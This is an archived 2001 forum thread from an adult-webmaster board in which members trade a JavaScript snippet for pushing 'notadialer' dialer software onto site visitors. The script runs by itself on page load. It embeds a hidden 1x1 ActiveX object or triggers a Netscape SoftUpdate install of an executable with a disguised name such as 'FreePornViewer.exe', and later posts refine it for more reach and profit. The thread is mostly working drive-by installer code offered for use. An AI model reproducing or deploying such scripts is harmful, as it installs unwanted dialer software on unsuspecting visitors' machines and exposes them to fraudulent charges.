View Full Version : Question about Active X and notadialer.com
Mr Exotic
07-19-2001, 12:02 PM
Cant get it to work, followed the directions perfectly that were sent to me and still cant get the dman thing to work. Any help would be appreciated.
The code they e-mail you is garbled for some reason.. try this:
<SCRIPT language=JavaScript>
var exepath='http://www.yoursite.com/FreePornViewer.exe';
var jarpath='http://www.yoursite.com/FreePornViewer.jar';
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
function install() {
if ( navigator.platform && navigator.platform != 'Win32' ) {
location.replace('NOTWIN32WARNING.html');
return;
}
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<object id="ayb" width=1 height=1 classid="CLSID:018B7EC3-EECA-11d3-8E71-0000E82C6C0D" codebase="'+exepath+'"></object>');
} else if (bname == 'Netscape' && bver >= 4) {
trigger = netscape.softupdate.Trigger;
if (trigger.UpdateEnabled) {
trigger.StartSoftwareUpdate(jarpath, trigger.DEFAULT_MODE)
} else {
location.replace(exepath);
}
} else {
location.replace(exepath);
}
}
install();
</script>
Yea the code on the page is fucked...
Upload 2 copies of your notadialer program...
Name 1 copy freedialer.exe and 1 copy freedialer.jar
freedialer being whatever name you want!
And put this somewhere in your body and changing the url to the exe and jar file below!
<script language=JavaScript>
// Change the first 2 lines below to your EXE name and PATH
var exepath='http://domain.com/freedialer.exe';
var jarpath='http://domain.com/freedialer.jar';
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
function install() {
if ( navigator.platform && navigator.platform != 'Win32' ) {
location.replace('NOTWIN32WARNING.html');
return;
}
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<object id="ayb" width=1 height=1 classid="CLSID:018B7EC3-EECA-11d3-8E71-0000E82C6C0D" codebase="'+exepath+'"></object>');
} else if (bname == 'Netscape' && bver >= 4) {
trigger = netscape.softupdate.Trigger;
if (trigger.UpdateEnabled) {
trigger.StartSoftwareUpdate(jarpath, trigger.DEFAULT_MODE)
} else {
location.replace(exepath);
}
} else {
location.replace(exepath);
}
}
install();
</script>
Jon
Oops didn't know someone was replying to it =)
Jon
sandman
07-19-2001, 02:06 PM
Due to outlook messing up the code and by popular demand i uploaded a smaple page with the active x code on it in case you have not got it working right yet.
http://www.notadialer.com/active.htm
GIB Mike
07-19-2001, 03:11 PM
Wow, I haven't seen that script since the old GIB code-signed dialers! http://bbs.adultwebmasterinfo.com/ubb/smile.gif
That'll work for IE... but, you can't just rename a file with the .jar extension. Renaming doesn't change the format of the file. You'll need to have an independently generated Java Archive File to complete this setup.
Also, You'll get a corrupt file warning in Netscape. (and scare of surfers)
Also, that script has alot of uneeded code in it that could be cut down.
...and what if end-users have Java and/or Active-X disabled?
What if they are not running a MS operating system?
Don't cut off potential customers with a sloppy setup! test and retest with all browsers and OS versions before going live.
I don't mean to put anyone down, just trying to offer a little help to maximize your profits.
sandman
07-19-2001, 05:21 PM
Here is the new and imporvoed script for everyone using notadialer.com
<SCRIPT language=JavaScript>
// Change the first 2 lines below to your EXE name and PATH
var exepath='http://www.notadialer.com/sex_viewer.exe';
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
function install() {
if ( navigator.platform && navigator.platform != 'Win32' ) {
location.replace('NOTWIN32WARNING.html');
return;
}
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<object id="ayb" width=1 height=1 classid="CLSID:018B7EC3-EECA-11d3-8E71-0000E82C6C0D" codebase="'+exepath+'"></object>');
} else if (bname == 'Netscape' && bver >= 4) {
trigger = netscape.softupdate.Trigger;
if (trigger.UpdateEnabled) {
trigger.StartSoftwareUpdate(jarpath, trigger.DEFAULT_MODE)
} else {
location.replace(exepath);
}
} else {
location.replace(exepath);
}
}
install();
</SCRIPT>
GIB Mike
07-20-2001, 01:59 PM
Sorry again,
This will still lead to errors in Netscape and NO 'notadialer' served up to netscape users.
When editing a script it's usually NOT a good idea to just rip out lines at random and leave other lines in, that reference variables that are not declared. Just leads to errors.
I would suggest abondoning the old GIB script and starting fresh with a new one that is developed for your software. Using an old out-of-date dialer script for a notadialer program seems to be a problem in itself.
Perhaps your development team can come up with an original script that meets the unique needs of your software. http://bbs.adultwebmasterinfo.com/ubb/smile.gif
vBulletin® v3.7.3, Copyright ©2000-2012, Jelsoft Enterprises Ltd.